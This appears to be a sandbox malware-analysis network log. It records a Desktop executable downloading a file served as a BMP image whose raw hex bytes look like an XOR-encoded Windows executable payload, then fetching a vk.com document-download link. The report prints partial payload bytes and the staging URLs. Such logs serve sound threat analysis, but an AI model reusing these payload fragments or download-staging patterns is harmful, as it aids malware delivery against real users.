2024-05-24 07:42:14 UTC	587	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:14 GMT Content-Type: image/x-ms-bmp Content-Length: 5382676 Connection: close Last-Modified: Wed, 22 May 2024 14:15:06 GMT ETag: "664dfdea-522214" Expires: Sun, 23 Jun 2024 07:42:14 GMT Cache-Control: max-age=2592000 X-Frontend: front6-21 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: NygCjIJwGPBsaq65U1B_av6CWX3NNw Accept-Ranges: bytes
2024-05-24 07:42:14 UTC	15797	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 01 14 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 ed 05 65 e2 a9 bf 0b b1 a9 bf 0b b1 a9 bf 0b b1 e2 c7 08 b0 b8 bf 0b b1 e2 c7 0e b0 65 bf 0b b1 e2 c7 0f b0 b1 bf 0b b1 6b 3e f6 b1 ad bf 0b b1 6b 3e 0e b0 c8 bf 0b b1 6b 3e 0f b0 bc bf 0b b1 6b 3e 08 b0 b3 bf 0b b1 e2 c7 80 b0 a4 bf 0b b1 a9 bf 80 b1 4f bf 0b b1 5a 3d 03 b0 e8 bf 0b b1 5a 3d f4 b1 a8 bf 0b b1 a9 bf 9c b1 a8 bf 0b b1 5a 3d 09 b0 a8 bf 0b b1 47 7c 76 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1eek>k>k>k>OZ=Z=Z=G\|v
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 00 e0 fa 37 6f a7 ee 64 0a 2e b4 84 1a 63 3a 1a 3a 29 f8 dc 88 91 b4 e2 a6 9a c0 76 51 91 f1 93 61 fb 70 d1 45 92 57 4c 90 c8 15 4a 99 13 af e0 8c 4c 27 83 25 a8 15 db be 55 ec 50 52 1d 60 8a 14 71 05 de c8 4d 10 8e fe 8a 37 15 3e db e8 05 09 56 29 46 9c a4 bd 9e d4 8f 33 64 cd 96 9e cf 12 3a 14 ef e4 d5 b0 3b f1 a3 5c 02 c7 9c da 66 93 1c 75 26 4d a8 14 a4 24 35 df f8 c0 ee 8a f5 40 5a 45 41 67 05 11 d5 64 00 7c 74 b3 cc 56 c2 29 e4 2f 6d 50 60 4f 1b 10 1b b0 62 13 ff f6 8f e6 9b 90 1f f2 6a 2a af 96 14 d8 67 34 df 67 6f 48 8f 3e 18 8a 21 86 88 d6 2c 69 ed a6 2e 90 e1 61 c2 77 e3 10 a6 79 fc 45 3b 04 18 22 95 2d d0 4b cd de db 36 9f 22 17 f5 06 50 ef c7 fb d5 b1 42 1b 59 00 f7 4c 02 ed bd ff a6 f5 91 e9 b1 02 60 2a dd 39 65 1d c3 db 9b 3f dd ea 88 89 39 Data Ascii: 7od.c::)vQapEWLJL'%UPR`qM7>V)F3d:;\fu&M$5@ZEAgd\|tV)/mP`Objg4goH>!,i.awyE;"-K6"PBYL`9e?9
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: cc 8a 5d 2d 77 3e 87 fe 5b 7a d3 5d c6 ac ed a5 9f a1 02 16 c1 84 e4 74 54 57 c5 1e 87 95 8f 54 3f 15 bb 84 0c a4 24 5c 3a 57 6c 7b 5a 8d bb 81 ad ef b7 83 cb 02 c2 17 e6 a5 b2 01 42 50 99 13 ec 88 30 e9 e9 bd ac b7 51 e9 f0 3a 3e 0a 6d 4a ee fc c6 d7 00 ec f2 c0 47 12 b7 43 57 22 da 29 7d b3 79 10 86 3e 06 8a b0 8f 52 29 11 6f f9 ed a1 76 44 d1 c0 6f 4f 79 71 b9 ca 97 b4 f2 88 5d 58 4d 7d f5 90 bc 9d 86 5b bd f2 3f 4c 0f 0b 63 de 62 04 2c 94 06 40 d4 bb 9c bd cc 8c cb 06 e4 9c a5 d3 ec 7a e3 d6 f9 3d a7 d5 d6 3d e5 2a 6b 05 0a 8f 08 20 c9 a6 05 f6 bb 2a 9c 58 6e 20 f6 eb 6f c8 d0 80 6e 4f 94 d2 d0 56 17 b0 c3 c2 7f de 7c fd 93 0d 0a 8a 40 66 2b 59 78 d0 6c e7 d1 e7 34 3c 41 b6 2f 0d 9e 7b e9 a2 68 8b 25 1e 4e a1 97 43 7d 5b 54 6b d9 5d a4 80 e6 f0 8f b0 Data Ascii: ]-w>[z]tTWT?$\:Wl{ZBP0Q:>mJGCW")}y>R)ovDoOyq]XM}[?Lcb,@z==k Xn onOV\|@f+Yxl4<A/{h%NC}[Tk]
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 83 16 06 54 9f 12 bc fa 2b 44 3d 3d b7 09 e0 de b0 40 ef 9a d6 60 78 cf 7f 4c 42 a9 09 2a 1d f9 e2 ec 7a a6 20 19 1b 97 fe 00 a0 bc b2 1e a0 5f e0 6e 96 f1 f6 e2 9b 5c bb a8 cb 4e 97 87 b2 97 cc d0 15 88 81 62 47 72 97 f2 3d da ed 4e 67 b0 ae a8 b8 cd ba 18 43 c8 6f 88 06 24 35 d5 b8 95 0c f9 56 54 37 f7 ac ca 65 4e b2 52 9b 20 94 a0 76 e8 13 bb d1 61 01 19 8c 17 9b 86 b9 ef 59 0c 5a 18 c5 77 37 32 25 1e 1f c7 46 ed 0e b1 7a 9a 6b 80 49 dd 90 f0 77 85 07 17 d9 01 b3 c1 06 97 2a d7 95 d1 ec cd 65 ae f9 24 bf 64 52 42 cf 09 cc 98 c6 e5 0d 54 0a ad 06 9a 6d 05 d9 f5 a4 82 2a 0a 3e b0 c4 66 f6 f5 19 e0 94 12 63 53 35 0e 3e 76 e2 c5 70 97 a8 9f 77 11 a3 7d 3e 64 6d f3 7e f7 12 87 56 65 f1 b8 42 a7 31 dc 4d 17 83 43 53 d7 02 7d 25 bb b3 e4 b0 4e e0 b1 f4 e4 e5 Data Ascii: T+D==@`xLBz _n\NbGr=NgCo$5VT7eNR vaYZw72%FzkIwe$dRBTm*>fcS5>vpw}>dm~VeB1MCS}%N
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 7a ae 8b b0 66 36 82 bb 45 f5 2b c2 0c 14 49 4d 92 80 14 76 e5 ba b7 7c 7e 8f ee 77 ad bd 10 a2 01 72 9f 64 11 93 54 91 16 7d 33 84 a0 0b a9 b5 79 64 20 8e ed 90 af ad 12 a6 85 af 96 7c ce 02 0f 73 18 49 b1 04 50 68 3b ca 5b 85 a2 6c 14 84 50 62 99 2c 0a df 97 96 71 6e e1 81 76 64 a4 6a 2a b9 dd bd 69 f1 e1 44 d7 9a 4e 00 84 a3 06 7b c8 2a bb 9d 7f 78 16 e6 7e 12 7b 77 ef 70 87 04 1d f4 c8 82 af d2 8d ec 1a 85 39 ff e6 fb 18 96 4d 7f 54 c1 3d 58 8a fa c0 f0 56 fd 32 33 2a ca 9c 2f 38 b3 d5 b4 30 0c 7b b1 06 6f 1f e9 b0 a3 4f 3e 92 a2 5e 4c d1 88 0b 4d 78 8c 6a bc 6b a1 9b 22 b0 e0 e7 82 cd b7 30 fd 86 3e c7 2a 9a 2d 51 e5 38 63 64 0b b5 9c 80 80 82 f1 6b a4 1c 0e 07 c2 21 2e 7f 9b 8d 84 6a 0d d0 d7 50 2c dd f9 eb fa 14 5b f1 40 44 f4 36 52 86 47 3f 8f d3 Data Ascii: zf6E+IMv\|~wrdT}3yd \|sIPh;[lPb,qnvdjiDN{x~{wp9MT=XV23/80{oO>^LMxjk"0>-Q8cdk!.jP,[@D6RG?
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 05 b7 2c a1 46 0b 19 35 15 35 bb 0d 4a 57 f3 e1 ef e1 93 56 26 00 db 65 eb 11 09 1b e7 02 19 72 21 25 43 11 79 75 aa 5c da 54 0c 1e f8 17 64 18 d5 9f 23 bc a6 93 24 cc 65 15 3d f5 9c bf 1f f6 fc a5 fe 0b f0 c8 d9 6b 74 a3 4b eb 81 d7 ec 3b a3 a8 c4 9e ac aa 36 ea f1 43 f6 7c f3 f2 a8 43 f7 bd 88 e3 65 79 9b ae 4a eb d4 24 7c 8b 3a 04 81 e1 05 e4 a6 07 bb 37 05 d2 0b 43 86 53 60 44 69 05 73 12 97 a5 6f f7 cb 95 db 80 8f ed e4 cf fe 64 f6 6d 63 54 61 90 ba a5 68 42 a9 4d 51 ec d8 cc d7 7c 28 2f 1f 55 dd 96 25 40 ed 90 aa 33 e7 bc e0 82 e1 f2 b1 b6 a4 0d e3 e6 c4 d9 66 0b 28 31 52 07 50 92 04 f0 8f 43 d6 5c 9c c5 b5 bd 64 1e e1 e9 56 6f 4c 6b 64 01 e4 8a f1 a3 97 73 49 fb 9b fb d2 d2 e9 c1 71 86 3e 07 10 db 88 14 ad 70 11 4e e3 63 ec 1e 8a 37 c5 67 38 2f 9e Data Ascii: ,F55JWV&er!%Cyu\Td#$e=ktK;6C\|CeyJ$\|:7CS`DisodmcTahBMQ\|(/U%@3f(1RPC\dVoLkdsIq>pNc7g8/
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 12 e5 c8 61 e2 b3 3c 11 3e a8 f6 c6 be 0e 4f 54 2a b3 4f 40 f4 f7 e7 e1 3b 9c ec 61 be 60 ba 6b 15 93 91 7f cf 09 b1 e8 44 36 dd f6 4e 67 ea c2 b2 71 42 13 86 86 b3 39 3b 3a 83 20 00 e5 b6 03 2c c4 74 0a 18 eb 4c 15 9b 3d a2 2e 46 27 09 d5 3e 4f 79 97 54 f7 be f3 d6 1f 65 90 07 91 98 e9 4c e1 05 e3 8d f0 61 ec d3 29 b8 a6 3c 6d 7b 77 b1 a6 32 bb f2 d5 f2 ce 88 ac 84 7e 02 2f 32 19 64 c1 0c 23 4d 4f 17 cf 81 f4 df a2 8c c0 9d f7 e2 20 71 65 37 b8 f6 0e 62 5c 69 66 d0 fc a0 73 20 e7 c5 50 d9 cb f1 1e 98 81 db 02 69 5c 01 2a 6e 32 79 dd b3 cd e7 14 f6 39 c2 9e 58 e8 da 72 b5 17 a5 44 e7 94 a0 45 04 17 3f a7 9c f2 cb 5b ab 96 ee 9d 58 d3 9c d8 ef 25 77 09 f1 ed 1d 23 5c c6 bd 67 42 b8 f9 b0 9e 94 b0 68 81 6f 4b b8 69 0f 3e 51 bc dd 8a d5 30 b5 91 95 d2 65 46 Data Ascii: a<>OTO@;a`kD6NgqB9;: ,tL=.F'>OyTeLa)<m{w2~/2d#MO qe7b\ifs Pi\n2y9XrDE?[X%w#\gBhoKi>Q0eF
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: e6 32 13 de 62 c2 2e 49 01 86 da 3e cc a6 51 e8 1a a6 fc fb 54 49 81 61 32 26 cd 85 c5 07 c5 0b 37 87 55 02 8c dd d8 e4 f4 61 45 22 55 54 c8 29 3d 63 aa 08 12 3d 0d 15 b9 98 a0 6c a3 df ae 23 12 6d 19 30 c1 ea f0 2c 56 65 ef 48 07 68 ee 30 e8 07 74 67 96 2c 6f 9b e6 1b e8 1f 7a 9e 4f 2a b8 9b b5 f9 1a a9 2a 1e 10 e5 d4 db e7 57 72 6f d8 47 26 c3 ae 0d c5 79 c0 c3 1d 50 c8 ed 5c 32 ed 08 cf fb a5 62 a4 fa 7e 40 76 bb 26 bc 4b 19 a1 75 a1 de 72 1a f7 6d fd de 2a 34 b4 c4 6b 11 eb d8 eb b8 5d 44 26 61 9f 97 df 93 03 94 77 75 df b7 e6 b1 25 88 b8 5e 14 11 0a 1f b5 85 e3 6d 67 05 b3 b3 4a 55 61 3a 00 28 6a 43 f8 3e 7c f4 c5 ca 52 33 48 b9 27 b2 0a 27 e8 1a 4a ec f9 07 c2 a4 5c 82 79 91 75 56 f9 4d fd 2a cb 5d 06 d4 7e 69 11 35 2e 44 9b f6 05 9e f6 e7 05 cd 25 Data Ascii: 2b.I>QTIa2&7UaE"UT)=c=l#m0,VeHh0tg,ozO*WroG&yP\2b~@v&Kurm4k]D&awu%^mgJUa:(jC>\|R3H''J\yuVM*]~i5.D%
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: 93 f1 63 5a fb ac 29 c9 3b 1c 55 22 14 0a 4b ca aa f4 08 04 f5 3c b3 c6 08 94 9e cc 56 0a 8e fb 24 11 c3 72 7a 34 aa 37 48 bb 11 59 dc 6e cc 98 8c ae 54 6f 96 16 5d e5 46 d5 49 4b 85 41 75 95 4d 27 85 f7 df 2d b1 0f 07 6a c3 3d cf 05 07 e2 2b 9f 24 89 06 cd 8e 90 2d 5c ae 12 d7 42 6b 0c 3e 85 2e 22 e6 d3 87 b3 5a fd f4 3c c7 2b f2 26 e5 4e 20 22 8d d5 9f e4 a0 a3 87 fa 61 3b a0 60 b9 77 cb 8d 97 3e 08 8b 5d c1 05 23 92 79 f7 8c b8 94 92 2c 0f 46 22 1e bb ff 99 62 32 0d a3 29 fa c5 fa 45 20 c0 51 5e 6e 1f c4 ee 38 3f 04 5d b3 db d1 55 cd 2f 8f 04 04 49 68 14 9d 9a f4 e6 06 8b d2 22 e8 e8 c2 c9 56 af bf ce cf 1c 2b 0b 15 6a 3e 4d 58 a7 36 fd 3b 48 48 4b 12 ab 72 4b 6a d1 3b fe 54 06 a0 17 87 95 8c 84 36 d7 0e 8d 36 53 a3 90 44 92 98 2e 98 e1 da 91 9b 2b 88 Data Ascii: cZ);U"K<V$rz47HYnTo]FIKAuM'-j=+$-\Bk>."Z<+&N "a;`w>]#y,F"b2)E Q^n8?]U/Ih"V+j>MX6;HHKrKj;T66SD.+
2024-05-24 07:42:14 UTC	16384	IN	Data Raw: f0 eb 8f 3e dd c2 35 94 46 89 b8 56 c5 4d 37 b0 24 25 8f 19 91 f5 67 ff 35 45 ce f2 e7 92 53 7a 85 64 53 b4 ce 57 f5 a2 cb c1 66 a6 7d b6 77 9d d6 a2 8b 3e f1 8e 21 f8 46 78 3d d5 69 8c bd 68 81 cc c4 e8 1d 22 d3 bf 87 45 22 2c b5 e3 49 10 57 ff 4a ce af 50 96 ac 6e 2d 3c 82 c8 e7 2b 5e 42 ee c1 c8 d8 ce 9f 37 9a fd 7b 7c b0 8e 99 27 4f 19 46 ec f0 9e ed d9 f6 4f 0f 1e de 44 bd c0 54 e0 37 aa 08 68 9f 17 82 8e 96 23 4c b3 f0 32 d9 cd 52 96 8d 2d 53 d0 a4 7e 98 01 8b b4 e8 c5 d9 bc 7a c2 9a dd b3 d0 ad ab 23 6c 8d 3b a0 17 a6 83 70 89 cc f5 57 47 18 45 1d f5 04 7e b0 32 6a 0b 1a d6 32 f3 e6 09 86 4d 54 e6 6f 8f 8f fd 38 fc 03 06 51 71 3d eb ee e8 7b 92 58 16 89 f3 d7 cd 89 06 c4 6c 1b 01 dc f5 21 65 17 56 6c cd 72 92 68 cf 35 51 d3 1e 83 e6 a3 df 8d 6a 28 Data Ascii: >5FVM7$%g5ESzdSWf}w>!Fx=ih"E",IWJPn-<+^B7{\|'OFODT7h#L2R-S~z#l;pWGE~2j2MTo8Qq={Xl!eVlrh5Qj(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49793	93.186.225.194	443	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:42:15 UTC	324	OUT	GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww12 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache
2024-05-24 07:42:15 UTC	2493	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 07:42:15 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 467337 Connection: close X-Powered-By: KPHP/7.4.116865 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixlang=3; expires=Thu, 29 May 2025 22:45:39 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixstlid=9115177993643769853_VoWUv5q7mj34k78IGtr3riOvmmGlNkCUZZiBucJEJRX; expires=Sat, 24 May 2025 07:42:15 GMT; path=/; domain=.vk.com; secure; SameSite=None Set-Cookie: remixlgck=b1bff1f1d3007fed6d; expires=Sat, 31 May 2025 02:29:10 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Set-Cookie: remixstid=1259924222_K52WXGQW8p3xvlqD9kyYaRq2aBNj3sVmSBlLii6acwz; expires=Mon, 26 May 2025 05:04:32 GMT; path=/; domain=.vk.com; secure; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frame-Options: deny X-Frontend: front661202 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: XRZCXq7ZpFgeH_tOdsEb3mn15qhiQQ
2024-05-24 07:42:15 UTC	13891	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 70 77 61 2f 61 70 70 6c 65 2f 64 65 66 61 75 6c 74 2e 70 6e 67 3f 31 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?1
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 53 65 61 72 63 68 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 0a 2e 74 73 5f 63 6f 6e 74 5f 77 72 61 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 76 61 72 28 2d 2d 68 65 61 64 65 72 2d 68 65 69 67 68 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 6d 6f 64 61 6c 29 3b 7a 2d 69 6e 64 65 78 3a 38 30 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 34 70 78 20 34 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 34 70 78 20 76 61 72 28 2d 2d 62 6c 61 63 6b 5f 61 6c 70 68 61 31 36 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 31 37 37 70 78 3b 77 69 64 74 68 3a 32 33 32 70 Data Ascii: Search{display:none}.ts_cont_wrap{position:absolute;top:var(--header-height);background:var(--vkui--color_background_modal);z-index:800;border-radius:0 0 4px 4px;box-shadow:0 1px 4px var(--black_alpha16);overflow:hidden;display:none;left:177px;width:232p
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 6b 65 2d 6c 69 6e 65 63 61 70 25 33 44 25 32 32 72 6f 75 6e 64 25 32 32 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 33 2e 32 25 32 30 31 37 2e 37 4c 36 34 33 25 32 30 33 31 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 36 2e 39 25 32 30 32 32 2e 35 6c 2d 31 37 2e 38 25 32 30 33 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 25 33 44 25 32 32 30 25 32 43 31 38 2e 30 30 30 30 30 30 30 30 33 36 30 30 33 36 25 32 32 25 32 30 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 25 33 44 25 32 32 39 25 32 32 25 32 46 25 33 45 25 33 43 70 61 74 68 25 32 30 64 25 33 44 25 32 32 4d 36 35 35 25 32 30 32 38 2e 33 4c 36 34 31 25 32 30 31 39 25 32 32 25 32 46 25 33 45 25 33 43 25 32 46 Data Ascii: ke-linecap%3D%22round%22%3E%3Cpath%20d%3D%22M653.2%2017.7L643%2031%22%2F%3E%3Cpath%20d%3D%22M656.9%2022.5l-17.8%203%22%20stroke-dasharray%3D%220%2C18.00000000360036%22%20stroke-dashoffset%3D%229%22%2F%3E%3Cpath%20d%3D%22M655%2028.3L641%2019%22%2F%3E%3C%2F
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 74 6f 70 3a 61 75 74 6f 3b 72 69 67 68 74 3a 61 75 74 6f 7d 0a 5b 64 69 72 3d 72 74 6c 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 2c 5b 64 69 72 3d 72 74 6c 5d 20 5b 73 63 68 65 6d 65 3d 76 6b 63 6f 6d 5f 64 61 72 6b 5d 20 2e 6c 65 66 74 5f 6d 65 6e 75 5f 6e 61 76 5f 77 72 61 70 20 2e 75 69 5f 61 63 74 69 6f 6e 73 5f 6d 65 6e 75 5f 69 63 6f 6e 73 7b 72 69 67 68 74 3a 61 75 74 6f 3b 6c 65 66 74 3a 61 75 74 6f 7d 0a 2a 20 68 74 6d 6c 20 2e 63 6c 65 61 72 5f 66 69 78 7b 68 65 69 67 68 74 3a 31 25 7d 0a 2e 63 6c 65 61 72 7b 66 6c 6f 61 74 3a 6e 6f 6e 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 0a 2e 73 63 72 6f 6c 6c Data Ascii: th:auto;height:auto;top:auto;right:auto}[dir=rtl] .left_menu_nav_wrap .ui_actions_menu_icons,[dir=rtl] [scheme=vkcom_dark] .left_menu_nav_wrap .ui_actions_menu_icons{right:auto;left:auto}* html .clear_fix{height:1%}.clear{float:none;clear:both}.scroll
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 6c 69 67 68 74 3a 23 66 66 35 63 35 63 3b 2d 2d 72 65 64 5f 6e 69 63 65 3a 23 66 66 33 33 34 37 3b 2d 2d 73 6b 79 5f 36 30 3a 23 63 63 65 39 66 66 3b 2d 2d 73 6b 79 5f 38 30 3a 23 62 32 64 65 66 66 3b 2d 2d 73 6b 79 5f 31 30 30 3a 23 39 39 64 33 66 66 3b 2d 2d 73 6b 79 5f 32 30 30 3a 23 37 30 63 31 66 66 3b 2d 2d 73 6b 79 5f 33 30 30 3a 23 37 31 61 61 65 62 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 31 30 3a 23 66 61 66 62 66 63 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 32 30 3a 23 66 37 66 38 66 61 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 34 30 3a 23 66 30 66 32 66 35 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 35 30 3a 23 65 65 65 66 66 31 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 36 30 3a 23 65 64 65 65 66 30 3b 2d 2d 73 74 65 65 6c 5f 67 72 61 79 5f 38 Data Ascii: light:#ff5c5c;--red_nice:#ff3347;--sky_60:#cce9ff;--sky_80:#b2deff;--sky_100:#99d3ff;--sky_200:#70c1ff;--sky_300:#71aaeb;--steel_gray_10:#fafbfc;--steel_gray_20:#f7f8fa;--steel_gray_40:#f0f2f5;--steel_gray_50:#eeeff1;--steel_gray_60:#edeef0;--steel_gray_8
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 69 61 72 79 5f 6d 65 64 69 75 6d 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 32 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6c 61 72 67 65 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2d 2d 72 65 67 75 6c 61 72 3a 31 36 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 73 6d 61 6c 6c 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 70 78 3b 2d 2d 76 6b 75 69 2d 2d 73 69 7a 65 5f 62 75 74 74 6f 6e 5f 74 65 72 74 69 61 72 79 5f 6d 65 64 69 75 6d 5f 70 61 64 64 69 6e 67 5f 68 6f 72 69 7a 6f 6e 74 61 6c 5f 69 63 6f 6e 2d 2d 72 65 67 75 6c 61 72 3a 38 Data Ascii: iary_medium_padding_horizontal--regular:12px;--vkui--size_button_tertiary_large_padding_horizontal--regular:16px;--vkui--size_button_tertiary_small_padding_horizontal_icon--regular:8px;--vkui--size_button_tertiary_medium_padding_horizontal_icon--regular:8
2024-05-24 07:42:15 UTC	16384	IN	Data Raw: 32 39 32 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 66 66 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 68 6f 76 65 72 3a 23 66 35 66 35 66 37 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 2d 61 63 74 69 76 65 3a 23 65 62 65 63 65 66 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 3a 23 64 33 64 39 64 65 3b 2d 2d 76 6b 75 69 2d 2d 63 6f 6c 6f 72 5f 77 72 69 74 65 5f 62 61 72 5f 69 6e 70 75 74 5f 62 6f 72 64 65 72 2d 2d 68 6f 76 65 72 3a Data Ascii: 292;--vkui--color_write_bar_input_background:#ffffff;--vkui--color_write_bar_input_background--hover:#f5f5f7;--vkui--color_write_bar_input_background--active:#ebecef;--vkui--color_write_bar_input_border:#d3d9de;--vkui--color_write_bar_input_border--hover:
